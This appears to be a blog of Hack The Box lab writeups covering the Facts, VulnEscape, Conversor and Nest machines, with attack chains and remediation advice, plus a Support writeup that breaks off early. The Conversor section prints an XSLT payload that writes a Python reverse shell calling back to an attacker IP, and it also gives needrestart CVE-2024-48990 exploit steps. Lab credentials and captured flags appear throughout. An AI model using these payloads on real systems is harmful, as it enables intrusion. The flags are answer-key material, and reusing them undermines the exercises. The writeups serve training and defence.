kami@kali:~$ journalctl

  • Facts writeup

    10.129.1.226

    Did this on release.

    Scanned the machine with rustscan.

    Looks like two webservers. Let’s check 80 first.

    Need to add it to /etc/hosts first so did that then refreshed.

    Nothing on source code on this page. No robots.txt. Used ffuf for directory busting as I want to get more used to ffuf.

    Navigated through the facts. Looks like there are some comments for possible users.

    Ffuf showed us an admin page.

    I created a test account to see what access we would have.

    It allowed us to create that user and log in.

    #ID here looks like it might be interesting. Searchsploited the version of the site but doesn’t look like the results will be helpful.

    So I’m not sure why, but I looked up camaleon default credentials and I found this which is the exact version https://github.com/Alien0ne/CVE-2025-2304. I should probably stop relying on searchsploit alone though. Used it with the credentials I set up.

    And we got admin.

    From poking around, I thought I’d have to get a reverse shell uploaded. I couldn’t find any place but from a hint from a CTF team member, they gave me a hint of checking Settings.

    I had previous notes on how to interact with an Amazon S3 bucket.

    Looks like I was able to upload a shell.

    I got stuck here for a while. I was thinking that I would be able to call the shell from somewhere. After a bunch of testing with Burpsuite everything was static and not executing the shell. I also tried with ruby. I got pretty frustrated so I slept on it. Next day (today), I realized I may have been thinking of this wrong. We can interact with the bucket, and I was trying to upload a shell- but what if we just check what’s actually on the bucket… and the answer was there.

    There was ssh keys in here all along. I can’t actually use it though as it asks for a passphrase. John may be able to help us.

    Time to find the username. I found admin in the User list on Camaleon but that didn’t work.

    I got stuck finding usernames and got a hint from a HTB discord buddy. Turns out its just trivia which the room is kind of related.

    Submit User Flag – 

    A: fb9e742a1ec3accbfce132926a2941a1

    Ran sudo -l for possible easy win.

    Considering this is related to the box name, this is probably our path to priv esc. Looked it up on GTFObins.

    We can set a custom fact in ruby then try calling it with the GTFObin commands.

    Submit Root Flag –

    A: 1a2c1a3c6432ebe10f09e9362f1f4e4c

    GG

    Attack Chain

    1 – Reconnaissance Ran RustScan and identified ports 22 (SSH), 80 (HTTP), and a second web server. Added the hostname to /etc/hosts. Browsed to port 80 and found a Camaleon CMS instance. Nothing interesting in source code or robots.txt. Used ffuf for directory busting and found an admin page. Noted possible usernames in page comments.

    rustscan -a 10.129.1.226 –ulimit 5000 -b 2000 — -A -Pn

    2 – Authentication bypass – CVE-2025-2304 Registered a test account to explore the application. Searched for Camaleon exploits and found CVE-2025-2304 targeting the exact version running. Used the exploit with the registered credentials to escalate to admin access.

    3 – Initial Access – SSH key recovery from S3 bucket Explored the admin panel and found an Amazon S3 bucket configured in Settings. Uploaded a PHP webshell to the bucket but could not execute it as the bucket served static content only. Shifted approach and enumerated the existing bucket contents instead. Found SSH private keys already stored in the bucket. Downloaded the key but it required a passphrase. Cracked the passphrase with John the Ripper. Found the correct SSH username through trivia related to the box theme and authenticated via SSH. Retrieved user.txt.

    4 – Privilege Escalation – facter sudo abuse Ran sudo -l and found the user could run facter as root. Researched facter on GTFOBins and found it could execute custom Ruby facts. Created a malicious custom fact in Ruby and called it via the GTFOBins technique to obtain a root shell. Retrieved root.txt.


    Key Takeaways

    1. Camaleon CMS authentication bypass – CVE-2025-2304 – The Camaleon version running was vulnerable to an authentication bypass allowing privilege escalation to admin with a registered user account. CMS platforms must be kept fully patched and admin access must require strong authentication with MFA enforced.
    2. SSH private keys stored in an S3 bucket – SSH keys were stored in an S3 bucket accessible through the application’s settings, meaning any admin-level user could retrieve them. Private key material must never be stored in cloud storage buckets or any location accessible through a web application interface. SSH keys must be managed through a dedicated secrets management solution with strict access controls.
    3. SSH key protected only by a crackable passphrase – The SSH private key passphrase was crackable with John the Ripper. SSH key passphrases must be long randomly generated strings that resist offline cracking. A weak passphrase provides minimal protection against an attacker who has already obtained the key file.
    4. S3 bucket containing sensitive credential material accessible via application settings – The bucket was reachable to anyone with admin access to the CMS. Cloud storage buckets used by web applications must follow the principle of least privilege and must never store credential material such as SSH keys, certificates, or API tokens.
    5. facter sudo rule enabling Ruby code execution as root – The user could run facter as root and facter’s custom fact functionality allowed arbitrary Ruby execution. GTFOBins documents this as a reliable privilege escalation path. Sudo rules for system information tools that support custom scripting must never be granted as they are universally exploitable.

    Remediation

    [Immediate] Patch Camaleon CMS to remediate CVE-2025-2304 Update Camaleon to the latest patched version immediately. Restrict access to the admin panel to authorized IP ranges and enforce MFA on all admin accounts. Audit all registered user accounts for unexpected privilege levels and remove any unauthorized admin accounts.

    [Immediate] Remove SSH keys from the S3 bucket and rotate them Delete all SSH private keys from the S3 bucket immediately. The recovered key must be considered fully compromised. Generate a new key pair, update the authorized_keys file on the server, and revoke the old key. Audit all S3 buckets associated with the application for sensitive files including keys, certificates, and configuration data.

    [Immediate] Remove the facter sudo rule Delete the sudoers entry allowing the user to run facter as root immediately. Any sudo rule granting access to a tool that supports custom scripting or Ruby execution is equivalent to unrestricted root access. Audit all sudo configurations against GTFOBins and remove any entries that permit known escalation techniques.

    [Short-term] Enforce strong SSH key passphrases and restrict key storage Require SSH private keys to be protected by passphrases of at least 20 randomly generated characters. Implement a policy prohibiting storage of private keys in cloud storage, shared drives, or web application directories. Deploy a secrets management solution for all SSH key lifecycle management including generation, storage, rotation, and revocation.

    [Short-term] Restrict S3 bucket permissions and audit bucket contents Apply the principle of least privilege to all S3 bucket IAM policies and remove any permissions allowing the web application to list or read files beyond what is required for its function. Enable S3 access logging and set up alerts for access to sensitive file types including .pem, id_rsa, and .key files.

    [Long-term] Implement a cloud storage security baseline Define a policy covering S3 bucket access controls, prohibited content types, encryption at rest requirements, and access logging. Conduct regular audits of all S3 buckets for sensitive file exposure. Include cloud storage configurations in the scope of regular security assessments and integrate automated bucket policy scanning into the CI/CD pipeline.

  • VulnEscape writeup

    VulnEscape writeup

    Box name: VulnEscape

    Difficulty: Easy

    OS: Windows

    Overview: VulnEscape is an Easy Difficulty Windows machine that features the Remote Desktop Server service running on its default port. Users can connect to the machine over RDP and login as KioskUser0 without a password. The target environment is restricted, however, by abusing the file:// scheme in Microsoft Edge, users can browse the file system. Further exploitation allows users to bypass the system restrictions and open a PowerShell window. Enumeration of the file system reveals a folder which contains a profile for an application called Remote Desktop Plus. This profile can be loaded in the application and the password in this profile can be extracted by using a second application called BulletsPassView. The extracted password can be used to start a session as the admin user and further bypass of the User Access Controls in place allows attackers to read the root flag.

    Link: https://app.hackthebox.com/machines/VulnEscape?sort_by=created_at&sort_type=desc

    Machine IP: 

    Ran rustscan against the machine.

    rustscan -a 10.129.234.51 –ulimit 5000 -b 2000 — -A -Pn

    Ran nmap specific scripts against the device to find a bit more information.

    nmap -sV -sC 10.129.234.51 -p3389 –script rdp*

    Recently in the CPTS exam I read about rdp-sec-check tool. Downloaded and ran that.

    ./rdp-sec-check.pl 10.129.234.51

    Bruteforcing with username would take days. Interestingly at the end of the summary here, it mentions NLA is supported but not mandated. On Windows devices it typically shows recent user logins so before connecting with a user we may be able to get a user that way.

    xfreerdp /v:10.129.234.51 /cert:ignore /dynamic-resolution /sec:nla:off

    It shows us a KioskUser0 exists. I was able to login with that user with no password.

    It brought me to this screen which doesn’t let us do much. When I typically see these types of Kiosks in the real world, like hotels, I always try to escape them for fun and it appears in this case it’s just the Windows start button.

    Did some poking around but nothing was outright interesting. Eventually using the search function and opening Microsoft Edge I realized we can navigate the file explorer.

    We can get user.txt this way at C:/Users/kiosksUser0/Desktop/user.txt. In Users I noticed there is a user ‘admin’. I also found an interesting directory _admin at C:/_admin and in C:/_admin/profiles.xml there is a password for something called Remote Desktop Plus.

    Tried to check the hash with hashid but it’s unknown. I was able to find Remote Desktop Plus existing in Program Files (x86).

    I clicked it, it doesn’t run but it tried downloading it. That also brought me to the file explorer. I can’t do anything further though. We can’t run it still being locked down to run commands. Navigating to C:/Windows/System32/WindowsPowerShell/v1.0 I was able to download powershell.

    I was not actually able to run it though. As we can run msedge.exe though I tried changing the name and it worked. The korean was throwing me off but to rename a file with a shortcut key you can hit F2.

    I couldn’t run the rdp.exe from the downloads but it did let me run it from its original location. 

    There’s nothing existing already in here and I don’t think we can crack that hash not knowing what type of hash it is. It lets us important profiles using the ‘Manage profiles’ though. I was unable to import from it’s original location so I move the file to Downloads where we currently have access.

    copy -r C:\_admin\ C:\Users\kioskUser0\Downloads\

    Imported the file.

    I got stuck of what I could do for this so I peeked at the writeup. Apparently there is a tool called BulletsPassView that could let us unstar the password. Downloaded that, served it up on a http server and downloaded it to the machine in a new Temp directory. I tried using Invoke-WebRequest, but that does not work you apparently need to use wget. Running it while you have the Edit Profile option open it shows us the password.

    admin:Twisting3021

    I was able to get a cmd shell with those credentials.

    runas /user:admin cmd

    UAC blocked us from actually getting the flag as it’s in Administrator and not admin though. I relaunched powershell from this shell so I am admin. Ran this powershell command.

    Start-Process cmd -Verb RunAs

    And we can bypass the UAC and get root.txt.

    GG

    Attack Chain

    1 – Reconnaissance Ran RustScan and identified port 3389 (RDP). Ran Nmap RDP scripts for additional enumeration and used rdp-sec-check to assess the RDP security configuration. Found that NLA was supported but not mandated, allowing connection without pre-authentication. Connected with xfreerdp without NLA and observed KioskUser0 as a recent login on the Windows login screen.

    rustscan -a 10.129.234.51 –ulimit 5000 -b 2000 — -A -Pn nmap -sV -sC 10.129.234.51 -p3389 –script rdp* xfreerdp /v:10.129.234.51 /cert:ignore /dynamic-resolution /sec:nla:off

    2 – Kiosk bypass via Edge file URI and user flag Logged in as KioskUser0 with no password and landed in a restricted kiosk environment. Used the Windows search function to open Microsoft Edge and navigated to file:// URIs to browse the filesystem. Retrieved user.txt from the KioskUser0 desktop. Discovered a C:/_admin directory containing a profiles.xml file with an encrypted Remote Desktop Plus password and noted an admin user account.

    3 – PowerShell access via renamed Edge binary Found Remote Desktop Plus in Program Files but could not execute it from the kiosk. Navigated to the PowerShell directory via Edge’s file browser and downloaded powershell.exe but could not run it directly. Renamed the downloaded copy to msedge.exe which the kiosk permitted to run, gaining PowerShell access.

    4 – Credential extraction via BulletsPassView Copied the _admin profiles directory to the Downloads folder. Launched Remote Desktop Plus from its original location and imported the profiles.xml file via Manage Profiles. Served BulletsPassView from an HTTP server on the attack machine, downloaded it to a Temp directory on the target using wget, and ran it while the Edit Profile dialog was open to reveal the starred password.

    Credentials recovered: admin:Twisting3021

    5 – UAC bypass and root flag Used runas to launch cmd as admin. UAC blocked access to the Administrator directory. Relaunched PowerShell from the admin cmd session and used Start-Process with RunAs verb to spawn an elevated process, bypassing UAC and accessing root.txt.

    runas /user:admin cmd Start-Process cmd -Verb RunAs


    Key Takeaways

    1. RDP accessible without NLA allowing unauthenticated login screen enumeration – NLA was not enforced, allowing the Windows login screen to be reached without pre-authentication and revealing KioskUser0 as a valid account. NLA must be mandated on all RDP-accessible systems to require authentication before the login screen is displayed.
    2. Kiosk account with no password – KioskUser0 required no password for RDP login. Every account including kiosk and guest accounts must have a strong password even when they are intended for restricted access. No-password accounts on RDP-exposed systems are a critical finding.
    3. Edge file URI enabling filesystem browsing from a restricted kiosk – The kiosk restriction did not block Microsoft Edge from using file:// URIs, allowing full filesystem enumeration. Kiosk environments must explicitly block file URI access in browsers and must be configured using dedicated kiosk mode policies that restrict navigation to approved URLs only.
    4. Encrypted credentials stored in a filesystem-accessible profile – The Remote Desktop Plus profiles.xml file containing an encrypted admin password was stored in C:/_admin and was readable after gaining kiosk access. Credential files must never be stored in locations accessible to restricted or guest accounts and must be protected by filesystem ACLs.
    5. UAC bypassable from an admin account without elevation prompt suppression – The admin account could spawn an elevated process via Start-Process RunAs without a password prompt, allowing full UAC bypass. UAC must be configured at its highest setting requiring credential confirmation for all elevation requests and admin accounts must be separated from standard users using dedicated privileged accounts.

    Remediation

    [Immediate] Enforce NLA on all RDP-accessible systems Enable Network Level Authentication for RDP on all Windows hosts via Group Policy. NLA prevents the login screen from being displayed before authentication, eliminating login screen user enumeration and unauthenticated session initiation. Block port 3389 at the network perimeter and restrict RDP access to authorized management IP addresses only.

    [Immediate] Set a strong password on the KioskUser0 account Assign a strong randomly generated password to KioskUser0 immediately. If the kiosk requires passwordless login for operational reasons, implement auto-logon via a secured registry entry restricted to the local machine and ensure the account has no network logon rights.

    [Immediate] Block file URI access in kiosk browser sessions Configure Microsoft Edge kiosk mode policies to restrict navigation to approved URLs only and block file:// URI access. Deploy Windows Assigned Access or Kiosk Browser policies to prevent users from navigating outside the intended application scope. Test all kiosk configurations against common browser escape techniques before deployment.

    [Immediate] Restrict access to credential files in C:/_admin Set restrictive ACLs on C:/_admin and all files within it so they are readable only by the admin account and local administrators. Audit all directories on the C: drive root for world or guest readable folders and correct permissions. Credential files must never be accessible to restricted or kiosk accounts.

    [Short-term] Configure UAC at the highest enforcement level Set UAC to Always Notify and require credential input for all elevation requests including from admin accounts. This prevents Start-Process RunAs from bypassing the elevation prompt without supplying a password. Audit all admin accounts to ensure they are not configured to bypass UAC silently.

    [Long-term] Implement a hardened kiosk deployment standard Define a hardening baseline for all kiosk deployments covering Assigned Access configuration, browser URI restrictions, filesystem ACLs, account password requirements, NLA enforcement, and UAC policy. Test all kiosk environments against known escape techniques including file URI browsing, binary renaming, and process spawning before production deployment. Include kiosk systems in the scope of regular penetration tests.

  • Conversor writeup

    Conversor writeup

    Box name: Conversor

    Difficulty: Easy

    OS: Linux

    Overview: Conversor is an easy-difficulty Linux machine featuring a web application that converts XML documents into visually formatted HTML documents using XSLT stylesheets. By registering an account and reviewing the downloadable source code, we discover that the application processes user-supplied XSLT files without proper sanitisation, leading to an XSLT injection vulnerability. This allows us to write a malicious Python script to a server-side directory that is periodically executed by a cron job, granting an initial shell as www-data. Enumerating the application directory reveals a SQLite database file containing user credentials, from which we extract and crack an MD5 password hash to obtain valid SSH access as the user fismathack. For privilege escalation, the machine highlights a misconfigured sudo rule allowing execution of needrestart, which is vulnerable to CVE-2024-48990, enabling code execution via a controlled PYTHONPATH and ultimately allowing us to gain root privileges.

    Link: https://app.hackthebox.com/machines/Conversor?tab=machine_info&sort_by=created_at&sort_type=desc

    Machine IP: 10.129.238.31

    Ran rustscan against the machine.

    rustscan -a 10.129.238.31 –ulimit 5000 -b 2000 — -A -Pn

    Added conversor.htb to /etc/hosts. It brings us to a login page.

    Registered as a test user kami:kami and upon logging it looks like we can upload XML and XSLT files which converts the XML into a more aesthetic format.

    Did some research and PayloadsAllTheThings has some XSLT Injection payloads https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSLT%20Injection/README.md. I uploaded the Vendor payload and get this back.

    I tried using the base64 meterpreter payload but it doesn’t evaluate the preg variable. Poked around on the website and we can actually get the source code. Downloaded that.

    Confirmed there is no sanitization. In install.md it looks like it runs scripts in /var/www/conversor.htb/scripts/.

    I tried using PayloadAllTheThings to write a python script in that directory, and after a lot of troubleshooting I eventually got a shell using this .xml.

    <?xml version="1.0" encoding="UTF-8"?>
    <xsl:stylesheet
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:exploit="http://exslt.org/common"
    extension-element-prefixes="exploit"
    version="1.0">
    <xsl:template match="/">
    <exploit:document href="/var/www/conversor.htb/scripts/GG.py" method="text">import socket,subprocess,os;s=socket.socket();s.connect(("10.10.16.27",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])</exploit:document>
    </xsl:template>
    </xsl:stylesheet>

    Stabilized my shell. Poked around and I found a database with a user and a hash.

    Used hashcat to crack the hash.

    hashcat -m 0 ‘5b5c3ac3a1c897c94caad48e6c71fdec’ /usr/share/wordlists/rockyou.txt

    fismathack:Keepmesafeandwarm

    I was able to ssh in with this user and grab user.txt.

    Ran sudo -l and we have access to a needrestart.

    This is vulnerable to CVE-2024-48990 and I found a github here https://github.com/ns989/CVE-2024-48990. Downloaded it and hosted a http server.

    git clone https://github.com/ns989/CVE-2024-48990&nbsp;

    cd CVE-2024-48990 

    gcc exploit.c -o __init__.so -shared -fPIC -nostartfiles 

    python3 -m http.server 8080

    Downloaded it to victim in mentioned path.

    mkdir -p /tmp/.X11-Unix/importlib 

    wget http://10.10.16.27:8080/__init__.so -O /tmp/.X11-Unix/importlib/__init__.so

    It was giving me issues because needrestart was only scanning processes launched from a real script file, not inline code.

    echo “import time; time.sleep(120)” > /tmp/sleep.py 

    PYTHONPATH=/tmp/.X11-Unix/ python3 /tmp/sleep.py & 

    sudo /usr/sbin/needrestart 

    su _daemon 

    GG

    Attack Chain

    1 – Reconnaissance Ran RustScan and identified ports 22 (SSH) and 80 (HTTP). Added conversor.htb to /etc/hosts and browsed to the site which presented a login page. Registered a test account and found functionality to upload XML and XSLT files for document conversion.

    rustscan -a 10.129.238.31 –ulimit 5000 -b 2000 — -A -Pn

    2 – Source code review and XSLT injection Downloaded the available source code from the website and confirmed there was no sanitization of user-supplied XSLT files. Found install.md which revealed a scripts directory at /var/www/conversor.htb/scripts/ that was periodically executed by a cron job. Researched XSLT injection payloads and crafted a malicious XSLT file using the exslt document write extension to write a Python reverse shell script directly to the scripts directory. Waited for the cron job to execute it and caught a shell as www-data.

    3 – Database credential extraction and lateral movement Stabilized the shell and enumerated the application directory. Found a SQLite database containing a user account and an MD5 hash. Cracked it with Hashcat using rockyou and SSH’d in as fismathack. Retrieved user.txt.

    hashcat -m 0 ‘5b5c3ac3a1c897c94caad48e6c71fdec’ /usr/share/wordlists/rockyou.txt

    Credentials recovered: fismathack:Keepmesafeandwarm

    4 – Privilege Escalation – needrestart CVE-2024-48990 Ran sudo -l and found fismathack could run needrestart as root. Researched needrestart and found CVE-2024-48990, a privilege escalation vulnerability exploitable via a controlled PYTHONPATH. Compiled the exploit shared library, placed it in the PYTHONPATH location, launched a long-running Python script to create a scannable process, and triggered needrestart via sudo. Escalated to root and retrieved root.txt.

    gcc exploit.c -o __init__.so -shared -fPIC -nostartfiles mkdir -p /tmp/.X11-Unix/importlib echo “import time; time.sleep(120)” > /tmp/sleep.py PYTHONPATH=/tmp/.X11-Unix/ python3 /tmp/sleep.py & sudo /usr/sbin/needrestart


    Key Takeaways

    1. Unsanitized XSLT file processing enabling arbitrary file write – The application processed user-supplied XSLT files with no sanitization, allowing the exslt document extension to write arbitrary files to the server filesystem. User-supplied stylesheets must be processed in a sandboxed environment with no filesystem write capabilities. XSLT processing must explicitly disable extension functions and external document access.
    2. Cron job executing scripts from a web-accessible directory – A cron job running as www-data executed all scripts in a directory that was writable via the XSLT injection. Cron jobs must only execute scripts from directories that are owned and writable exclusively by root or the intended service account. Web application directories must never be in the execution path of scheduled tasks.
    3. MD5 password hash stored in application database – The fismathack account password was stored as an unsalted MD5 hash in the SQLite database, crackable instantly against common wordlists. MD5 is not a suitable algorithm for password storage and must be replaced with bcrypt, scrypt, or Argon2.
    4. Weak password crackable with rockyou – The fismathack password was in the rockyou wordlist. All user account passwords must meet complexity requirements that resist dictionary attacks regardless of the hashing algorithm in use.
    5. needrestart sudo rule enabling CVE-2024-48990 exploitation (CVSS 7.8 High) – fismathack could run needrestart as root and the vulnerable version allowed PYTHONPATH manipulation to load arbitrary shared libraries as root. Sudo rules for system utilities must be kept patched and must be reviewed against known exploitation techniques before being granted.

    Remediation

    [Immediate] Disable XSLT extension functions and external document access Reconfigure the XSLT processing engine to disable all extension element prefixes including exslt and xalan. Explicitly prohibit external document writes and URI resolution in the XSLT processor configuration. Process all user-supplied stylesheets in an isolated sandbox with no filesystem access outside a designated temporary directory.

    [Immediate] Patch needrestart to remediate CVE-2024-48990 (CVSS 7.8 High) Update needrestart to the latest patched version immediately. Remove the sudo rule allowing fismathack to run needrestart as root. If needrestart must be run with elevated privileges, restrict it to a dedicated service account with no ability to set PYTHONPATH or influence the Python module search path.

    [Immediate] Restrict cron job execution directories Audit all cron jobs and verify that every script they execute is owned by root and located in a directory not writable by web application service accounts or other non-privileged users. Remove the scripts directory from the cron execution scope immediately and relocate any legitimate scripts to a root-owned path.

    [Immediate] Replace MD5 password hashing with a modern algorithm Migrate all stored password hashes from MD5 to bcrypt, scrypt, or Argon2 with appropriate cost factors. Force a password reset for all affected accounts after migration. Audit all application databases for weak or unsalted hash algorithms and remediate any findings.

    [Short-term] Enforce strong passwords across all accounts The fismathack password was in the rockyou wordlist. Enforce a minimum password length of 14 characters with complexity requirements for all application and OS accounts. Audit existing passwords against common wordlists and force resets where weak passwords are identified.

    [Long-term] Implement a secure file processing and application hardening baseline Define a hardening standard for all document processing applications covering XSLT sandbox configuration, file upload validation, scheduled task directory permissions, and password storage requirements. Include file conversion and document processing applications in regular security assessments and verify that all processing pipelines restrict filesystem access to the minimum required scope.

  • Nest writeup

    Nest writeup

    Box name: Nest

    Difficulty: Easy

    OS: Windows

    Overview: Nest is an easy difficulty Windows machine featuring an SMB server that permits guest access. The shares can be enumerated to gain credentials for a low privileged user. This user is found to have access to configuration files containing sensitive information. Another user&amp;#039;s password is found through source code analysis, which is used to gain a foothold on the box. A custom service is found to be running, which is enumerated to find and decrypt Administrator credentials.

    Link: https://app.hackthebox.com/machines/Nest?tab=machine_info&sort_by=created_at&sort_type=desc

    Machine IP: 10.129.6.95

    Ran rustscan against the machine.

    rustscan -a 10.129.6.95 –ulimit 5000 -b 2000 — -A -Pn

    SMB is open but I’m unsure what port 4386 is. I’ll check out SMB first anyways.

    smbclient -N -L //10.129.6.95/ 

    Connected to the Users share. Can’t actually get the directories and nothing in them but we atleast have potential users.

    smbclient //10.129.6.95/Data -U anonymous

    Put the user names in users.txt. Read Data and we do get a Welcome Email which definitely looks interesting.

    We get TempUser’s password. Sprayed that password and there’s a few users that have that password still. TempUser:welcome2019

    netexec smb 10.129.6.95 -u users.txt -p welcome2019 –continue-on-success

    Regardless let’s see what privileges we have now. Connected back to Data share and we have access to the IT share.

    Nothing much in other directories besides \IT\Configs\.

    In \IT\Configs\NotepadPlusPlus\config.xml we get mention of interesting files paths.

    It’s not visible but it still let’s us navigate there.

    I don’t see a Temp.txt but I poked around in here further. I found more mention of a RUScanner. In Utils.vb I can see encryption functions. Went back to the data share and a username and encrypted password is there.

    c.smith:fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=

    With the found information I couldn’t find any existing decryptor tools or able to get Cyberchef to work. I eventually need to get better at coding and scripting myself but I have AI create me a decryption script with our existing knowledge.

    pip install pycryptodome --break-system-packages
    python3 -c "
    from Crypto.Cipher import AES
    from Crypto.Protocol.KDF import PBKDF2
    from Crypto.Hash import HMAC, SHA1
    import base64
    key = PBKDF2(b'N3st22', b'88552299', dkLen=32, count=2,
    prf=lambda p, s: HMAC.new(p, s, SHA1).digest())
    ct = base64.b64decode('fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=')
    cipher = AES.new(key, AES.MODE_CBC, b'464R5DFA5DL6LE28')
    print(cipher.decrypt(ct))
    "

    C.Smith:xRxRxPANCAK3SxRxRx

    I was able to authenticate to the Users share and get user.txt.

    smbclient //10.129.6.95/Users -U C.Smith%xRxRxPANCAK3SxRxRx

    Also poked at the HQK Reporting directory. This is what is running on port 4386. I tried connecting to the port with telnet but nothing is of important besides DEBUG it seems but we don’t have a password.

    I got stuck here so I peeked at the write up as the Debug Mode Password file was empty. There is ADS associated and we can actually use allinfo on it from SMB which I didn’t know.

    WBQ201953D8w

    That worked for DEBUG mode with more options.

    Unfortunately with LIST and SETDIR we can’t get into Administrator. Poking around further there is a Ldap.conf file in C:\Program Files\HQK.

    If we SHOWQUERY on that file it gives us a password but it’s encrypted.

    I got stuck again and peeked at the write. We have to decompile the .exe. I don’t have much practice doing this. The tool used looks like it Windows only. It uses the same encrypt code as it did earlier but we need the new parameter. We can get that with strings.

    strings -e l HqkLdap.exe

    python3 -c "
    from Crypto.Cipher import AES
    from Crypto.Protocol.KDF import PBKDF2
    from Crypto.Hash import HMAC, SHA1
    import base64
    key = PBKDF2(b'667912', b'1313Rf99', dkLen=32, count=3,
    prf=lambda p, s: HMAC.new(p, s, SHA1).digest())
    ct = base64.b64decode('yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=')
    cipher = AES.new(key, AES.MODE_CBC, b'1L1SA61493DRV53Z')
    print(cipher.decrypt(ct))
    "

    Administrator:XtH4nkS4Pl4y1nGX

    Couldn’t grab the flag from the SMB share so I got a shell and grabbed the flag.

    psexec.py Administrator:XtH4nkS4Pl4y1nGX@10.129.6.95

    GG

    Attack Chain

    1 – Reconnaissance Ran RustScan and identified ports 445 (SMB) and 4386 (unknown custom service). Checked SMB with anonymous access and found a Data share and a Users share. Connected to the Data share and found a Welcome Email containing a temporary password.

    rustscan -a 10.129.6.95 –ulimit 5000 -b 2000 — -A -Pn smbclient -N -L //10.129.6.95/

    Credentials recovered: TempUser:welcome2019

    2 – SMB enumeration and encrypted credential discovery Sprayed the temporary password across all enumerated users and confirmed TempUser authenticated. Connected to the Data share with TempUser credentials and found access to IT configuration directories. In the NotepadPlusPlus config.xml found references to interesting file paths. Navigated those paths and found source code in Utils.vb revealing AES encryption functions. Found an encrypted password for C.Smith in the Data share.

    Encrypted credential found: c.smith:fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=

    3 – Credential decryption and lateral movement Used the encryption parameters extracted from Utils.vb including the passphrase, salt, IV, and PBKDF2 key derivation settings to write a Python decryption script. Decrypted C.Smith’s password and authenticated to the Users SMB share. Retrieved user.txt.

    Credentials recovered: C.Smith:xRxRxPANCAK3SxRxRx

    4 – HQK Reporting service debug mode access Investigated port 4386 and identified it as the HQK Reporting service. Connected via Telnet and found a DEBUG command requiring a password. The Debug Mode Password file appeared empty but used allinfo in SMB to reveal an Alternate Data Stream attached to the file containing the debug password. Authenticated to debug mode which exposed additional commands and directory navigation.

    Debug password recovered: WBQ201953D8w

    5 – Administrator credential decryption via binary analysis Navigated the HQK service directories and found an LDAP configuration file containing another encrypted password. Downloaded HqkLdap.exe and used strings to extract the encryption parameters including passphrase, salt, and IV for this second encryption context. Wrote a second Python decryption script using the new parameters and decrypted the Administrator password.

    strings -e l HqkLdap.exe

    Credentials recovered: Administrator:XtH4nkS4Pl4y1nGX

    6 – Root Used impacket-psexec with the Administrator credentials to get a SYSTEM shell and retrieved root.txt.

    psexec.py Administrator:XtH4nkS4Pl4y1nGX@10.129.6.95


    Key Takeaways

    1. SMB guest access exposing sensitive files and credentials – Anonymous and guest SMB access exposed the Data share containing a welcome email with a temporary password and configuration files referencing encrypted credentials. SMB shares must require authenticated access and must be audited regularly for sensitive content.
    2. Temporary password not rotated across multiple accounts – The welcome2019 temporary password was still active on TempUser and potentially other accounts, indicating a lack of enforced password change policy. Temporary passwords must be single-use, time-limited, and technically forced to change on first login.
    3. Encryption key material hardcoded in application source code – The AES passphrase, salt, and IV used to encrypt credentials were embedded in Utils.vb and recoverable from source files accessible via SMB. Encryption key material must never be hardcoded in source code or configuration files. Use a hardware security module or secrets management solution for key storage.
    4. Credentials stored in encrypted form recoverable via binary analysis – Both C.Smith and Administrator passwords were encrypted using parameters extractable from source code and binary strings, providing no meaningful protection once the encryption implementation was known. Credentials should be stored using one-way adaptive hashing rather than reversible encryption whenever possible.
    5. Sensitive data hidden in NTFS Alternate Data Streams – The debug password was stored in an ADS attached to what appeared to be an empty file. ADS can be used to conceal data from standard directory listings and must be included in file auditing and integrity monitoring. Security tools must be configured to scan for and alert on unexpected ADS across sensitive directories.

    Remediation

    [Immediate] Disable SMB guest and anonymous access Disable guest and anonymous SMB access across all shares immediately. Require authenticated access for every share and restrict permissions to only the users and groups with an operational requirement. Audit all share contents for sensitive files, configuration data, and credential material and remove any findings.

    [Immediate] Enforce password change on first login and eliminate temporary password reuse Implement a technical control requiring all accounts provisioned with a temporary password to change it before any access is granted. Temporary passwords must be unique per account, randomly generated, and expire after 24 hours if unused. Audit all accounts for unchanged temporary or default passwords and force immediate resets.

    [Immediate] Rotate all recovered credentials The TempUser, C.Smith, and Administrator credentials must all be considered fully compromised. Rotate all affected passwords immediately and audit all other accounts for reuse of any recovered credential.

    [Immediate] Remove encryption key material from source code and binaries Remove all hardcoded passphrases, salts, and IVs from Utils.vb, HqkLdap.exe, and any other application file. Migrate key material to a dedicated secrets management solution or HSM. Conduct a full audit of all source files and binaries for embedded cryptographic parameters.

    [Short-term] Audit NTFS Alternate Data Streams across sensitive directories Run a full ADS scan across all sensitive directories using Sysinternals Streams or equivalent. Implement file integrity monitoring configured to detect ADS creation and alert on unexpected streams attached to files in sensitive locations. Include ADS scanning in the regular security audit program.

    [Long-term] Implement a secrets management and application hardening baseline for custom services Define a hardening standard for all custom Windows services covering credential storage mechanisms, network exposure, authentication requirements, and encryption key management. Custom services handling credentials must store them using a secure secrets management solution rather than reversible encryption with embedded keys. Include all custom services in the scope of regular penetration tests.

  • Support writeup

    Support writeup

    Box name: Support

    Difficulty: Easy

    OS: Windows

    Overview: Support is an Easy difficulty Windows machine that features an SMB share that allows anonymous authentication. After connecting to the share, an executable file is discovered that is used to query the machine&amp;amp;amp;#039;s LDAP server for available users. Through reverse engineering, network analysis or emulation, the password that the binary uses to bind the LDAP server is identified and can be used to make further LDAP queries. A user called support is identified in the users list, and the info field is found to contain his password, thus allowing for a WinRM connection to the machine. Once on the machine, domain information can be gathered through SharpHound, and BloodHound reveals that the Shared Support Accounts group that the support user is a member of, has GenericAll privileges on the Domain Controller. A Resource Based Constrained Delegation attack is performed, and a shell as NT Authority\System is received.

    Link: https://app.hackthebox.com/machines/Support?sort_by=created_at&sort_type=desc

    Machine IP: 10.129.6.25

    Ran rustscan against the machine.

    rustscan -a 10.129.6.25 –ulimit 5000 -b 2000 — -A -Pn

    Poked at DNS but couldn’t find anything. Checked out SMB next.

    smbclient -N -L //10.129.6.25/

    Support-tools looks interesting.

    The UserInfo file looks the most interesting. Moved it to my machine and unzipped it.

    I have yet to come across what to do here so I looked at the writeup. We can download wine or ILSpy to decompile it to find more information about what this is. I downloaded wine as I used this a bit for gaming.

    wine UserInfo.exe

